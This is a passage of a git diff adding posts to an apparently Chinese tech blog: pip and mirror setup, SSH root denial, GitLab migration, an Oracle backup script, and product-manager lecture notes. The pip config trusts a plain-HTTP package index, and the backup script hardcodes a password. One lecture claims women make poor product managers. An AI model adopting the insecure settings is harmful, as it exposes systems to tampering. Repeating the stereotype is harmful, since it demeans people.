install requests + Collecting requests + Downloading requests-2.18.1-py2.py3-none-any.whl (88kB) + 100% |████████████████████████████████| 92kB 74kB/s + Collecting idna<2.6,>=2.5 (from requests) + Downloading idna-2.5-py2.py3-none-any.whl (55kB) + 100% |████████████████████████████████| 61kB 100kB/s + Collecting urllib3<1.22,>=1.21.1 (from requests) + Downloading urllib3-1.21.1-py2.py3-none-any.whl (131kB) + 100% |████████████████████████████████| 133kB 50kB/s + Collecting chardet<3.1.0,>=3.0.2 (from requests) + Downloading chardet-3.0.4-py2.py3-none-any.whl (133kB) + 100% |████████████████████████████████| 143kB 41kB/s + Collecting certifi>=2017.4.17 (from requests) + Downloading certifi-2017.4.17-py2.py3-none-any.whl (375kB) + 100% |████████████████████████████████| 378kB 30kB/s + Installing collected packages: idna, urllib3, chardet, certifi, requests + Successfully installed certifi-2017.4.17 chardet-3.0.4 idna-2.5 requests-2.18.1 urllib3-1.21.1 + + C:\Users\baoguo>python + Python 3.6.1 (v3.6.1:69c0db5, Mar 21 2017, 18:41:36) [MSC v.1900 64 bit (AMD64)] on win32 + Type "help", "copyright", "credits" or "license" for more information. + >>> import request + Traceback (most recent call last): + File "", line 1, in + ModuleNotFoundError: No module named 'request' + >>> import requests ------这里没有错，说明安装成功，并且引用成功 + >>> + +# 切换阿里源 + +windows在C:\Users\用户名，即登陆的用户名文件下，建立文件夹pip,在文件夹中建立pip.ini，如C:\Users\baoguo\ + + + [global] + index-url = http://mirrors.aliyun.com/pypi/simple/ + + [install] + trusted-host=mirrors.aliyun.com + +# 下载包安装 + +因为系统默认下载的包，可能存在兼容或者32位系统或者64位系统的问题，所以，先下载具体安装包，然后手动安装，也是一个不错的选择。 + +http://www.lfd.uci.edu/~gohlke/pythonlibs/#numpy + +http://www.lfd.uci.edu/~gohlke/pythonlibs/#scipy + +py -m pip install --upgrade --no-deps --force-reinstall numpy-1.13.1-cp36-cp36m-win_amd64.whl + +py -m pip install scipy-0.19.1-cp36-cp36m-win_amd64.whl + + +# 其他插件安装顺序 + +1. py -m pip install requests +2. py -m pip install numpy +3. py -m pip install scipy +4. py -m pip install matplotlib +5. py -m pip install pandas +6. py -m pip install sympy +7. py -m pip install nose +8. py -m pip install ipython +9. py -m pip install jupyter +10. py -m pip install pandas-datareader + + +# 参考 +1. [How to use pip with python 3.4 on windows?](https://stackoverflow.com/questions/24285508/how-to-use-pip-with-python-3-4-on-windows) +2. [pip使用阿里源](http://www.chongchonggou.com/g_888418452.html) diff --git a/_posts/2017-07-24-252-deny-root.md b/_posts/2017-07-24-252-deny-root.md new file mode 100644 index 0000000..244c5b0 --- /dev/null +++ b/_posts/2017-07-24-252-deny-root.md @@ -0,0 +1,27 @@ +--- +layout: post +title: Centos Deny Root +pid: 251 +tags: [centos] +--- + + + + [root@localhost ~]# vim /etc/ssh/sshd_config + + #PermitRootLogin yes + + + # Example of overriding settings on a per-user basis + #Match User anoncvs + # X11Forwarding no + # AllowTcpForwarding no + # PermitTTY no + # ForceCommand cvs server + DenyUsers root + + [root@localhost ~]# systemctl restart sshd.service + + + + diff --git a/_posts/2017-07-24-253-gitlab-migrate.md b/_posts/2017-07-24-253-gitlab-migrate.md new file mode 100644 index 0000000..c0593f6 --- /dev/null +++ b/_posts/2017-07-24-253-gitlab-migrate.md @@ -0,0 +1,36 @@ +--- +layout: post +title: Gitlab Migrate +pid: 253 +tags: [gitlab, 软件开发] +--- + +Gitlab服务器迁移 + +在做下面所有步骤之前，请确认新的服务器和旧的服务器版本是一致的。 + + # BACKUP + [root@localhost ~]# gitlab-rake gitlab:backup:create RAILS_ENV=production + + # DOWNLOAD from source server + [root@localhost ~]# /var/opt/gitlab/backups/1500886271_gitlab_backup.tar + + # UPLOAD to dest server + [root@localhost ~]# /var/opt/gitlab/backups/1500886271_gitlab_backup.tar + + # RESTORE + [root@localhost ~]# gitlab-rake gitlab:backup:restore RAILS_ENV=production BACKUP=1500889620 + + # RESET YOUR LOCAL + [root@localhost ~]# git remote set-url origin git@192.168.xx.xx:root/sample.git + + # TEST TO PULL + [root@localhost ~]# get pull + + # CLOSE SOURCE Server + [root@localhost ~]# gitlab-ctl stop + + + +# 参考 +[Gitlab服务器迁移](http://blog.smallmuou.xyz/git/2016/04/22/Gitlab%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%BF%81%E7%A7%BB.html) diff --git a/_posts/2017-08-10-254-refresh-comm.md b/_posts/2017-08-10-254-refresh-comm.md new file mode 100644 index 0000000..176a0d2 --- /dev/null +++ b/_posts/2017-08-10-254-refresh-comm.md @@ -0,0 +1,90 @@ +--- +layout: post +title: 不懂说话， 你怎么带团队（笔记） +pid: 254 +tags: [管理, 励志, 口才] +--- + + + + +我觉得人之所以是人，是因为人具有创造性，不是像机器一样去机械的按照指令做事情，但本书就是一本让你按部就班的书，我不赞成这样去做，我希望通过阅读这本书可以找到这背后的道理。从而对我以后的交流有一个促进的作用。 + +我觉得人应该顺着自己的本心去做事情，如果本心都是有问题的，即使他可以按照规则去把事情做好，但，终归有规则指引不到的地方，他就会把事情做错。 + +我始终相信即使再复杂的道理，也有浅显易懂的解释。 + + + +# 前言 + +# 序章 先从积极思考开始做起 + +# 第1章 引导下属畅所欲言的附和方式 + +# 第2章 引导下属畅所欲言的询问方式 + +①对方讲话不得要领时 +②对方汇报坏消息时 +③对方迟迟不说意见时 +④想阻止对方的跑题行为或长篇大论时 + +# 第3章 激发下属自尊心的夸奖方式 + +①任何人都会接受的夸奖措辞 +②通过“标签式夸奖”，激发下属的干劲 +③通过“三角式夸奖”，增强可信度 +④夸奖应该当着其他人的面进行 +⑤使用“自言自语式夸奖” + +# 第4章 促使下属积极行动的委托方式 + +①委托女职员给客人上茶时 +②有紧急工作需要对方帮忙时 +③委托对方制作资料时 +④想把项目交给特定的下属时 +⑤想让对方积累经验时 +⑥对方表示“做不到”、“没自信”时 +⑦希望业绩最好的销售员再多努努力时 + +# 第5章 帮助下属重新振作的鼓励方式 + +①针对提案未能通过的下属 +②针对因失误而沮丧的下属 +③针对拼命努力却惨遭失败的下属 +④针对说泄气话的下属 + +# 第6章 让下属干劲满满的传达方式 + +①针对业绩差的下属 +②针对业绩拔尖但还应具备更多团队合作意识的下属 +③针对拼命努力却毫无成果的下属 +④针对迟迟不能进步的下属 +⑤针对企划书内容稍有欠缺的下属 +⑥针对年长有经验但还应再多努努力的下属 +⑦针对有行动力但缺乏魄力的下属 +⑧针对个人表现无可挑剔但还应具备更多团队意识的年长下属 +⑨针对身为下任领导候补、应该关照团队成员的下属 +⑩针对默默无闻地从事幕后工作的下属 +⑪针对工作误期的下属 +⑫针对苛求品质的匠人式下属 +⑬针对反复经历同样失败的下属 +⑭针对纸上谈兵的下属 +⑮针对提案缺乏依据的下属 +⑯针对墨守成规、思路陈腐的下属 +⑰针对只表示反对却没有具体意见的下属 + +# 第7章 促使下属改善行动的批评方式 + +①在一开始使用效果显著的铺垫句式 +②边夸奖边批评——方便的“三明治法” +③针对心怀抵触的下属 +④针对受到批评却毫无改变的下属 +⑤针对容易沮丧、抗打击能力差的下属 +⑥针对迟迟不着手行动的下属 +⑦针对认死理的下属 +⑧针对在项目上过于拼命以至于妨碍到日常业务的下属 +⑨针对推卸责任的下属 +⑩针对受责过重的下属 + +# 结语 diff --git a/_posts/2017-09-28-255-tomcat.md b/_posts/2017-09-28-255-tomcat.md new file mode 100644 index 0000000..bc4b2f7 --- /dev/null +++ b/_posts/2017-09-28-255-tomcat.md @@ -0,0 +1,19 @@ +--- +layout: post +title: Tomcat相关配置 +pid: 255 +tags: [tomcat] +--- + +# 多个服务器，一份源代码 + + /usr/local/wars/webApp1 + + /usr/local/tomcat1/conf/Catalina/localhost + + webApp1.xml + + + + +# Others diff --git a/_posts/2017-09-28-256-oracle.md b/_posts/2017-09-28-256-oracle.md new file mode 100644 index 0000000..ccde737 --- /dev/null +++ b/_posts/2017-09-28-256-oracle.md @@ -0,0 +1,39 @@ +--- +layout: post +title: Oracle 自动备份脚本 +pid: 256 +tags: [oracle] +--- + + rem --------------------------------------------------------------------------- + rem windows环境下Oracle数据库的自动备份脚本。 + rem 可以将本批处理设成windows任务计划下自动执行。 + @echo on + @echo ================================================ + @echo windows环境下Oracle数据库的自动备份脚本 + @echo 说明：启动备份时，需要配置以下变量 + @echo 1、BACKUP_DIR 指定要备份到哪个目录 + @echo 2、ORACLE_USERNAME 指定备份所用的Oracle用户名 + @echo 3、ORACLE_PASSWORD 指定备份所用的Oracle密码 + @echo 4、ORACLE_DB 指定备份所用的Oracle连接名 + @echo 5、BACK_OPTION 备份选项，可以为空，可以为full=y，可以为owner=a用户,b用户 等等.... + @echo 6、RAR_CMD 指定RAR命令行压缩工具所在目录 + @echo ================================================ + rem 以下变量需要根据实际情况配置------> 注意：此脚本必须放在E:\backup目录下 + set BACKUP_DIR=D:\backup\data + set ORACLE_USERNAME=abc + set ORACLE_PASSWORD=123456 + set ORACLE_DB=orcl + set BACK_OPTION= OWNER=abc + set RAR_CMD="D:\Program Files\WinRAR\Rar.exe" + set hh=%time:~0,2% + if /i %hh% LSS 10 (set hh=0%time:~1,1%) + set TODAY=%date:~0,4%-%date:~5,2%-%date:~8,2%_%hh%_%time:~3,2%_%time:~6,2% + set BACK_NAME=%ORACLE_DB%_%TODAY%_ + set BACK_FULL_NAME=%BACKUP_DIR%\%BACK_NAME% + rem starting backup + exp %ORACLE_USERNAME%/%ORACLE_PASSWORD%@%ORACLE_DB% %BACK_OPTION% file="%BACK_FULL_NAME%.dmp" log="%BACK_FULL_NAME%exp.log" + rem 压缩并删除原有文件 + %RAR_CMD% a -df "%BACK_FULL_NAME%back.rar" "%BACK_FULL_NAME%.dmp" "%BACK_FULL_NAME%exp.log" + rem -----------------自动删除30天前的文件------------------ + forfiles /m *.rar -d -30 /c "cmd /c del /f @path" diff --git a/_posts/2017-10-09-257-product-mgr.md b/_posts/2017-10-09-257-product-mgr.md new file mode 100644 index 0000000..cd5b58c --- /dev/null +++ b/_posts/2017-10-09-257-product-mgr.md @@ -0,0 +1,202 @@ +--- +layout: post +title: 梁宁：产品经理的必修课 +pid: 257 +tags: [产品经理] +--- + +为什么现在产品经理里面女性很少?一个很重要的原因是大多数女性是容忍度非常高的人。容忍度高的人，其实是做不了好产品的。 + +梁宁说，产品经理最核心的能力是创造力，而创造力是“自我”的延伸。创造力强的人都极端以自我为中心，很难去照顾别人的感受。然而，正是“自我”造就了他对产品细节的敏感和决不妥协的态度。 + +本文经混沌研习社(微信公众号：dfscx2014)授权转载，研习社是一所线上商学院，致力为创业公司培养具有互联网思维和全球化视野的创新人才。 + +**演讲者 ｜ 梁宁(辰德资本合伙创始人)** + +大家好，我是梁宁，今天我演讲的题目叫做《在产品里修行》。 + +**做一个产品就是你的修行，因为在这个过程里，你需要认识这个世界，你需要认识人的弱点。你需要认识你的本性，并且不去挑战它。你需要认识你的合作伙伴的本性，并且知道怎么去做跨文化的交流。** + +**你需要洞察人性并且不去挑战它** + +**做产品和做运营是两种人格** + +我们在讨论这次课程的时候，说到一个现象：为什么现在优秀的产品经理里面女性很少? + +一个很重要的原因就是大多数女性是容忍度非常高的人。容忍度高的人，其实是做不了好产品的。她很难把别人逼到角落里还要坚持自己主张。 + +产品经理最重要的是有创造力。而创造力是自我的延伸，所以创造力强的人都是极端以自我为中心的人，很难照顾别人的感受。 + +**他的自我造就了他对产品的敏感和决不妥协的态度，以及推到一切的创造力。所以我们看到乔布斯其实就是一个绝对自我的人。** + +**腾讯里面关于产品还有另外一个岗位，叫做运营经理。运营经理最重要的是控制，控制节奏，控制资源，控制结果。控制其实是自制力的延伸。** + +**你会发现，作为一个人类，你不可能同时具备超强的自我和超强的自制。所以你如果是一个非常好的营销人员，一定不是一个好产品经理，因为他太爱迎合别人，太懂得体贴别人的人。** + +**最大的成本就是用错人** + +作为一个创业的公司，很重要的一件事就是，你需要和优秀的人建立重度关系，你不能把时间都放在不优秀的人身上。 + +**如何去发现优秀的人?他们有三个特点，第一个是敏感度高，第二个特点是容忍度低，第三个特点是主动优化。** + +1，敏感度高，其实和每个人的天分有关。有的人一眼就看出有问题，而有的人却很难觉察。这个在面试的时候就应该果断判断，因为让一个人做他不擅长的事情，只能带来双方的痛苦和时间浪费。 + +2，容忍度低，从某种程度上来件，其实是一种文化的塑造。比如我们的父母，他们都是在一个完全集体主义的环境中成长起来的，所以他们的成长环境决定了他们势必要学会妥协、容忍，差不多就行了。中国制造、中国产品的特征，同样也是这种高容忍度的产物。 + +3，主动优化。一个人发现了问题，他是在不停抱怨还是主动优化?这个取决于你和他的沟通和鼓励。 + +比如我家很乱，我请了一个阿姨来打扫，但是她第一次来，她肯定得不停地和我沟通，哪些可以扔哪些不能动。但是时间长了以后，你不用多说，她也可以自动优化了。 + +**所以我们在搭建团队的时候，首先就是你必须快速地察觉他是不是有足够的敏感度，其次，用你的沟通和鼓励让他从一个敏感，容忍度低的人变成一个能够主动优化的人，这是我们搭建一个好的创业团队的关键。** + +**你对世界的洞察在你的产品之中** + +你对于世界的洞察，对于产业的掌控力，其实都在你自己的产品当中。接下来我们说一说对产品的洞察。 + +我想分为 **产品、用户、场景**三点来分析。 + +![](/uploads/2017/10/09-00.JPEG) + +你要提供的产品，是你能够持续驾驭的产业链的长度、力度和精准度。 + +**产品是你提供服务的能力** + +**先看产品。产品不是简单的APP界面，而是你提供服务的能力。** + +我之前做过一个旅游网站，后来被腾讯全资收购，于是有了在腾讯学习工作的三年。在腾讯的内部交流里，没有人谈产品和功能，大家谈的是服务和特性。 + +为什么?因为你在谈产品，有可能一个功能扩展起来就是一个产品，比如说评论，对于很多人来讲是一个功能，但是你把它整个运营好，它就是微博。 + +所以不谈产品，谈服务，我们关心你提供的到底是一个什么样的服务? + +**这种思路就解决了不是以产品经理的个人认知为中心，而是以服务对象的需求和满意度为中心去优化产品、设计服务的问题。** + +**真正关键的是产品的隐性特征** + +我在腾讯学会的第一节产品课是一台ATM机。 + +**第一个问题，ATM机提供什么服务?取现。第二个问题，ATM机有什么特性?** + +一堆的产品控可能跳出来说：屏幕是什么颜色的?是先出卡还是先出钞?能否支持手机扫码取现? + +其实这些都是ATM机的显性特征。那么ATM机的隐性特征是什么? + +大家知道在一台ATM机里面会放现金?一台ATM机基本四个钞箱，一个钞箱是20万现金，四个都装满了是80万。但大多数ATM机会放50万现金在里面。为什么?因为这些放在ATM机的现金是不能产生利息的。 + +也就是说，当ATM提供为柜台分流取现压力的同时，它同时也分流了这个企业的核心资源。 + +所以如何通过数据统计支持决策，既能为用户提供充足的取现服务，又能避免过多的资金闲置，成为ATM机的隐性特征。 + +第三个问题，ATM服务的全流程是什么? + +表面上来看，用户只需要插卡、输入密码，就可以取现。但是从企业角度来看，它至少需要这些流程去支持一台ATM机的正常运转。 + +**战略部门。**它来确定我们为什么需要一台ATM机。 + +战略价值分两个：分流柜台窗口的取现压力;在人流多的商场设置ATM机，可以向用户传达品牌亲近感和安心感。 + +**运营部。**用数据分析支持决策：在哪些网点设置ATM机以及放置多少现金。 + +运营部四个功能：第一个增撤网点;第二个现金管理，包括现金的回收和放置;此外还需要两个人，一个人管硬件，一个人拿钥匙。 + +**硬件维护。**ATM机的无法打印凭条，断电等等问题的处理。 + +**客服。**取钱吞卡，出钱有误等等问题处理。 + +就是说这么一台最简单的产品，它的背后需要至少7个岗位来围绕它工作。 + +**结论** + +**当我们谈起产品，绝大多数人想到的只是APP的界面，但实际上对产品的定义是完整的服务流程，和总体的服务成本。你要提供的产品，是你能够持续驾驭的产业链的长度、力度和精准度。** + +什么叫长度?京东的供应链和物流控制能力。 + +![](/uploads/2017/10/09-03.jpg) + +什么叫力度?比如双十一大战时，天猫向供应商要求，你只能向我供货，我是你的唯一分销商。这就是力度。 + +什么是精准度?我重仓压一个什么东西，结果搞错了，这就是精准度的问题。首先去搞清楚，自己要提供的到底是什么服务? + +最后再去想怎么展现，是用APP还是网站还是实体店，这些都只是产品的显性特征和外化模式而已。 + +![](/uploads/2017/10/09-01.JPEG) + +不管是小闲还是笨笨，最后都会转化为笨笨，这里面是一个情绪触发的过程。 + +**好的产品从精细的用户画像开始** + +第二个，用户。 + +刚刚我们举的一台ATM机的例子，我们说它是最简答的产品。为什么，因为它是唯一一个不用考虑用户细分的产品。 + +**但是除了钱之外的任何一个产品，你都需要做用户细分，去研究用户画像。所以大家记住，我们做的东西是一定是远比一台ATM机复杂的产品。** + +三类最简单的用户画像 + +关于用户画像，我们从最简单的三个用户说起： + +**第一个用户叫“大明“。大明的特点是什么呢?他决定暑假的某一段确定的时间带小孩去新加坡旅游。他要做什么，什么时间做，他非常清楚。** + +他对自己所要的东西已经非常清晰了，所以给我硬货，好的配置和好的价格，最快的效率，这就是大明需要的。 + +中国最早的电子商务网站，都是服务于大明的。这些网站的共同特点就是大大的搜索框，强大的检索功能，非常快地找到自己要的东西，这对大明来说，就是最好的服务。 + +**还有一类叫“笨笨”。笨笨什么特点呢?暑假我想出去玩，但是去哪儿呢?欧洲没去过，巴厘岛也没去过，听说新加坡也挺好的，好多人都去日本...然后我去哪儿玩呢，有可能她最后去了漓江，或者她哪儿也没去，就在北京怀柔延庆溜达了一下。** + +笨笨的特点就是不知道自己要什么。你给我搜索框，可是我还不知道自己要什么?我需要浏览，我需要逛，可能我花了8个小时逛街，本来要买的裙子没有买，而是买了一把雨伞和几双袜子。 + +所以互联网崛起的第二类电商其实是服务于笨笨的。蘑菇街，小红书都是这样的模式，给你充分的浏览，在你的浏览过程中，设计促进购物决策的环节。 + +还有一类叫“小闲”。我没有想去旅游，我就是无聊来网上瞎逛。小闲其实就是你我的常态，就是我们的需求没有被触发之前，其实人人都是小闲。 + +其实腾讯是一个非常经典的服务小闲的公司，为什么呢?QQ聊天是因为闲，刷微信朋友圈也是因为闲，你在任何一个闲的时候，你只要打开腾讯的产品，都可以足够让你打发时间。 + +所以从腾讯的小闲延伸出来，到游戏和视频的转化率就非常高，为什么?因为游戏也好、视频也好，它本质上都是沿着小闲的行为路径，让大家继续打发时间的一个行动。 + +这是三种用户的不同的状态。 + +**不管是“小闲”还是“笨笨”** + +**最后都会变成“大明”** + +从小闲到笨笨到大明，其实这是一个连续的情绪触发的过程。怎么解释，其实当用户的情绪被触发，锁定了他要做什么事情的时候，小闲和笨笨就变成了大明。 + +你要服务小闲，你就需要提供一个打发时间的东西，豆瓣、天涯、猫扑、这些社区网站就是这类产品。但是我们看到这类产品向交易导流的效果都不太好，其实就是因为从小闲到大明的转化流程过长。 + +笨笨的产品就很典型，比如说美丽说，蘑菇街，我先收藏，收藏了很多以后，我到淘宝上去搜同类，搜到最喜欢的款式以后，我再去比价，找到最便宜的那家，然后购买。 + +**上面就是一个比较经典的用户从小闲到笨笨到大明的转化过程，其实我们每个人都会有一个情绪被激发和需求变明确的过程。** + +**但是不管这个用户之前是小闲还是笨笨，是男是女，最后购买的一瞬间一定是变成大明。而搞定大明的唯一的办法就是提供硬货。** + +![](/uploads/2017/10/09-02.JPEG) + +场景是通过情绪触发和意见挟裹引导用户决策的过程。 + +**场景是引导用户决策的过程** + +**第三个是场景。**从小闲到笨笨再到大明这个过程中，其实有非常多的具体和建设场景的工作要做。 + +**场景是什么?“场”是停留时间和消费时间，而“景”是情绪触发和意见挟裹。** + +如果你只提供了一个广告，但是你没有给用户提供停留空间，然后在这个停留时间里面去激发用户的消费情绪，那么这个广告转化成购买的距离还是非常遥远。 + +情绪是最支持人做决策的一个动力。下一件事情是互动，那互动的本质其实是你对用户行为的影响。 + +**营销活动就是这么一个场景，让用户停留在我搭建的场景里，花时间了解，酝酿情绪，然后他被周围的意见挟裹，被你引导，这就是营销的核心。它的核心不在于你提供一个功能，而在于你搭建了一个场景。** + +**举个例子，罗辑思维** + +▼ + +罗辑思维有一次打包卖书，就是这个套装里面有6本书，但是你不知道你们都有哪些书，而且限量8000套来销售。 + +一个淘宝店主就觉得这个套装一定有价值，因为限量必须要抢购。所以他在开卖的第一时间就抢购了10套，在紧接着的1个小时内8000套书就售罄了。 + +罗辑思维的群里还有人在问，怎么没了，还能到哪儿买?于是这位淘宝店主就把他买的10套书上架销售。 + +他就想说，大家都想买买不到，我怎么着也得加点价吧。于是他加了点价450开卖，放了两天没人来问，降到400，还是没人问，然后打折，还是没有人问。最后这套书在淘宝是零交易。 + +**为什么同样一套书，在罗辑思维上是1小时8000套一抢而空，但是在淘宝店主这里是打了对折，放了10天还是零交易呢?** + +原因就在于罗辑思维其实搭建了一个场景，对消费者进行意见挟裹。这里面最核心的是什么?如果你架构的场景，不能影响别人的情绪，不能对别人造成情绪触动的，那它就不是一个场景。 diff --git a/_posts/2017-10-09-258-product-mgr.md b/_posts/2017-10-09-258-product-mgr.md new file mode 100644 index 0000000..188d3be --- /dev/null +++ b/_posts/2017-10-09-258-product-mgr.md @@ -0,0 +1,144 @@ +--- +layout: post +title: 梁宁：产品经理的必修课 +pid: 258 +tags: [产品经理] +--- +梁宁说，一个真正有机的产品，它会在人性的弱点、人性的欲望里获得营养，然后成长。微信做到了顺从人欲，所以它成为我们互联网的大江大河。 + +（本文根据梁宁在混沌研习社的课程整理，有删节，研习社社员可登陆混沌研习社官方微站，观看完整版视频回播） + +演讲者 ｜ 梁宁（辰德资本合伙人） + +我们知道有一本书叫《未来是湿的》，那什么是干的呢？就是干货、硬货、功能、价格、配置、参数。湿的就是千丝万缕的情绪化、场景化的考虑。为什么场景化考虑那么重要？因为场景决定人群，我们需要把产品的每个功能场景化地思考。 + +下面我们以微信1.0到6.0版本的更迭为例，来看看它的每一次迭代的核心的变化是什么？以及每一次微信的变化，它所想到的场景、人群和核心功能的不同是什么？ + + 米聊早于微信，却被微信反超 + 你提供的产品是你能够驾驭的 + 产业链的长度、力度和精准度 + + +微信是腾讯在2011年1月发布的一款产品，比小米的米聊晚两个月。微信1.0基本和米聊一样，应用场景定义为熟人间的通讯工具，简单说，就是可以免费发短信和照片，代替收费短信和彩信。 + +![](/uploads/2017/10/09-04.jpg) + +为什么说它的定义是熟人间的通讯工具呢？因为刚上线时只有三个功能：1，发送信息；2，发送图片；3，设置头像。 + +备注和黑名单功能是在微信1.2版本才增加的，也就是说，微信1.0和1.1版本时，加好友是不需要备注的，因为我不会加陌生人，这里只有我特别熟的朋友。 + +微信2.0时，微信用户有400万，而米聊有1000万。所以在微信1.0的时代，不管是功能上还是用户数量上，微信一直在追赶米聊。 + +![](/uploads/2017/10/09-05.jpg) + +米聊甚至有开发人员说，这是米聊新上的功能，结构图我放在论坛立帖为证，微信几天之后就会抄我们。果然，几天之后，微信就抄了这个新功能——语音通讯。 + +但是，微信2.0很快就追上了米聊，并拉开了距离。为什么最后成功的是微信而不是米聊？因为你能提供的服务，其实是你能够控制的产业链的长度、深度和精准度。 + +张小龙在微信之前，做了十年的腾讯邮箱，那是全国最大的邮箱服务平台。它有一个很强的功能是超大附件，在超大数据定点传输中负载均衡，系统不崩溃。 + +这并不是改良APP界面就能做到的，微信的背后有10万台服务器可以支撑文件传输，米聊难以企及，因为米聊本身不是小米的战略性产品，小米不可能囤积那么多的设备去提升米聊传输文件的性能。 + +所以你用微信，永远都会觉得很快，而米聊有时很慢，偶尔会系统崩溃。二者用户的分野在这里开始拉开。 + + 你对世界的洞察在你的产品中 + 微信和陌陌同时进军陌生人社交 + 而米聊止步于熟人社交 + +微信2.1里添加了一个新的功能，叫做“好友验证”。随后2.2版本推出一个核心产品叫做“查看附近的人”。 + +戏剧化的是，微信发布“查看附近的人”功能的同一天，另外一款和它一模一样的产品在苹果APP商店上线了，这款产品叫“陌陌”。凭借“查看附近的人”，“陌生人聊天”，它成为了一家在纳斯达克上市的公司。 + +在这个时间点上，张小龙和唐岩（陌陌创始人）考虑的产品应用场景有什么不同？ + +微信首先考虑的场景是：我要拼车上班，那我是不是可以把诉求写在微信签名上：我住哪儿，去哪儿上班，有没人和我拼车？第二个场景是“二手处理”：比如我有二手婴儿车，看看小区有没有需要的人，可以转卖。 + +陌陌的应用场景是什么？这个大家都知道。 + +所以微信和陌陌虽然发布了同一个功能，但是应用场景不一样。增加了“查看附近的人”功能以后，微信的用户从400万达到了2000万，与仍然专注熟人社交的米聊拉开差距。 + + + 推出二维码、公众号和朋友圈 + 微信拉开与陌陌的距离 + 转向商业社交平台 + +微信3.0推出“摇一摇”功能，看看这个世界上有谁在跟你同时摇手机。3.0之后，微信用户上亿，米聊永远停留在3000万。 + +如果只是“查看附近的人”，“摇一摇”，你一定认为微信跟陌陌一样。但是，微信3.5以后，和陌陌也开始拉开距离了：3.5版本，微信加了“扫描二维码”，3.6版本，微信加了“微信公众号”。 + +这两个功能是微信历史上的标志性事件：是继续连接陌生人？还是去连接线下更多的内容与商业？ + +通过扫描二维码和关注公众号，我不仅可以找到身边的人，还可以找到企业和商户。 + +到了微信4.0的时候，微信推出了今天把每个人都牢牢粘在手机上的朋友圈。 + +![](/uploads/2017/10/09-06.jpg) + +我们可以看到，微信版本更迭的次序是非常重要的。如果没有“扫描二维码”，就没有更多的商业加进来；如果没有公众号，没有可供传播分享的内容，这个时候如果开放朋友圈，只靠用户拍照片发图片，你觉得这个朋友圈会是什么样子？ + +所以微信每次到达一个新场景，都有前一步的铺垫工作，这些功能和动作的次序极其重要。 + +朋友圈为什么能变成我们今天生活的主要场景？因为它帮你筛选了所有和你相关的信息。你不需要看任何一个媒体，只要刷刷朋友圈，就可以获取所有和你有关的信息。 + +所以到了微信4.0时代，仅两年的时间，微信用户增长到了4.7亿。 + + 拉动4.7亿用户绑定银行卡 + 用红包完成了功能到情绪诉求的升级 + 微信从社交平台变成了生活场景 + + +微信5.0的核心功能就是绑定银行卡。因为之前有了微信公众号，也已经绑定了商家，有无数在朋友圈里做生意的人，在完成交易的最后一步，都必须离开微信，到有支付能力的平台上去，所以对微信来说，做支付这一步非常重要。 + +![](/uploads/2017/10/09-07.jpg) + +微信支付的本质是什么？让微信从一个单纯打发无聊时间的产品，变成了有商业价值的产品。 + +接下来一件事，怎么能让4.7亿用户愿意去升级需要绑定银行卡的5.0版本？ + +微信用了一个小方法：推出了一个“打飞机”的小游戏。游戏推出以后，微信上出现了4亿人一起打飞机的盛况。 + +因为微信本身就是一个打发无聊时间的产品，在微信上玩游戏是最顺畅的转化，接着绑定银行卡就可以付费，更长时间地玩游戏。所以微信用了这样一个设计，拉动了4.7亿人一起版本升级。 + +![](/uploads/2017/10/09-08.jpg) + +微信6.0的核心功能是什么？红包。 + +“打飞机”拉动了大家升级为5.0版本，让每个人的手机上拥有了绑定银行卡的能力，但是发红包让大家有了绑定银行卡的情绪。红包完成了微信支付从功能诉求到情绪诉求的转化。 + +于是微信从社交平台变成了生活场景，成为了我们每个人生活的一部分。 + +![](/uploads/2017/10/09-09.jpg) + + 人欲即天理： + 微信服务了人性的弱点 + 变成了互联网的大江大海 + +每每我们激励自己做产品，激励自己创业，都会用一些很高大上、很美好的东西激励自己，说我们要做最好的产品，要有匠人之心，要有工匠精神。 + +但是你知道，太正义的东西，往往让大家觉得沉重。当雷军复盘自己做金山和小米两个产品时的个人心态变化，他提了一条，就是他终于懂得了“人欲即天理”。 + +微信做到了顺从人欲，所以它成为我们互联网的大江大海。互联网的所有的大江大河的发端莫不是在于此。 + +![](/uploads/2017/10/09-10.jpg) + +下面我们看看，微信的崛起与人性的缺失，有什么关系？ + + + 微信的起点是贪婪。以前手机上发一条彩信两块钱，用微信1.0上传照片不用钱。 + + 微信的第二步是满足“懒惰”，有了语音留言，就不用打字了。 + 微信3.0满足了人们的窥视欲，“摇一摇”、“查看附近的人”。 + 微信4.0用“朋友圈”满足了人们的炫耀欲和虚荣心。 + 微信5.0满足了人们贪玩的心态，并成功用小游戏拉动了4.7亿用户同时版本升级。 + 微信6.0用抢红包的小游戏满足了人们爱玩和贪婪的欲望，完成了微信支付的捆绑应用。 + +结语 + +微信做到了顺从人欲，所以它成为我们互联网的大江大海。互联网的所有的大江大河的发端莫不是在于此。 + +比如说你有没有满足用户的虚荣心？QQ会员的等级制度，微博的大V都是这类。比如你能让大家懒惰吗？去年崛起的O2O产品基本都是。 + +我们做产品时一定要想，你做的这个东西，你提供的这个服务，是不是要很费力地去说服你的用户，我的这个产品真的很好，它能够帮助你怎样怎样。 + +也许你的产品构想是合理的，你也能够做成，但是过程会很艰难。而一个真正有机的东西，它会在人性的弱点、人性的欲望里获得营养，然后成长。 + diff --git a/_posts/2017-10-17-259-product-mgr.md b/_posts/2017-10-17-259-product-mgr.md new file mode 100644 index 0000000..b6db456 --- /dev/null +++ b/_posts/2017-10-17-259-product-mgr.md @@ -0,0 +1,306 @@ +--- +layout: post +title: 李明远：现在还是不是做产品最好的时代？ +pid: 259 +tags: [产品经理] +--- + +互联网思维降至一维，唯有产品。五月，混沌研习社重磅推出产品创新模块：百度前副总裁李明远、小米生态链负责人刘德、暴风魔镜CEO黄晓杰，从产品规则到竞争迭代和产品哲学，让产品从“学”到“术”逐一攻破。 + +著名互联网人、资深产品经理李明远5月6日在混沌研习社的演讲，解释了什么是一堂必须“反复听才能消化”的顶级产品课，作为模块第一讲有开篇立意之效。 + +什么是产品？ + +你必须先把公司里那些描述产品的功能定义、模块素描的文档统统清零。抛开这些表面，跟着李明远好好琢磨琢磨：产品的本质，到底是个什么东西。 + +文｜李明远 +著名互联网人、资深产品经理 + +我非常能够理解大家对产品的兴趣。 + +因为我们很多创业的出发点，一定是从产品出发。 + +这是不是一个做产品的最好时代呢？这是一个很大的问题。今天的互联网专业以及传统行业的专业，是和过去有很大不同的。 + +最大的不同就是：现在信息高度对称，竞争非常白热化。很多生意转为资本密集型、渠道密集型。 + +在这样一时代里，我们讨论产品，意义还大不大？ + 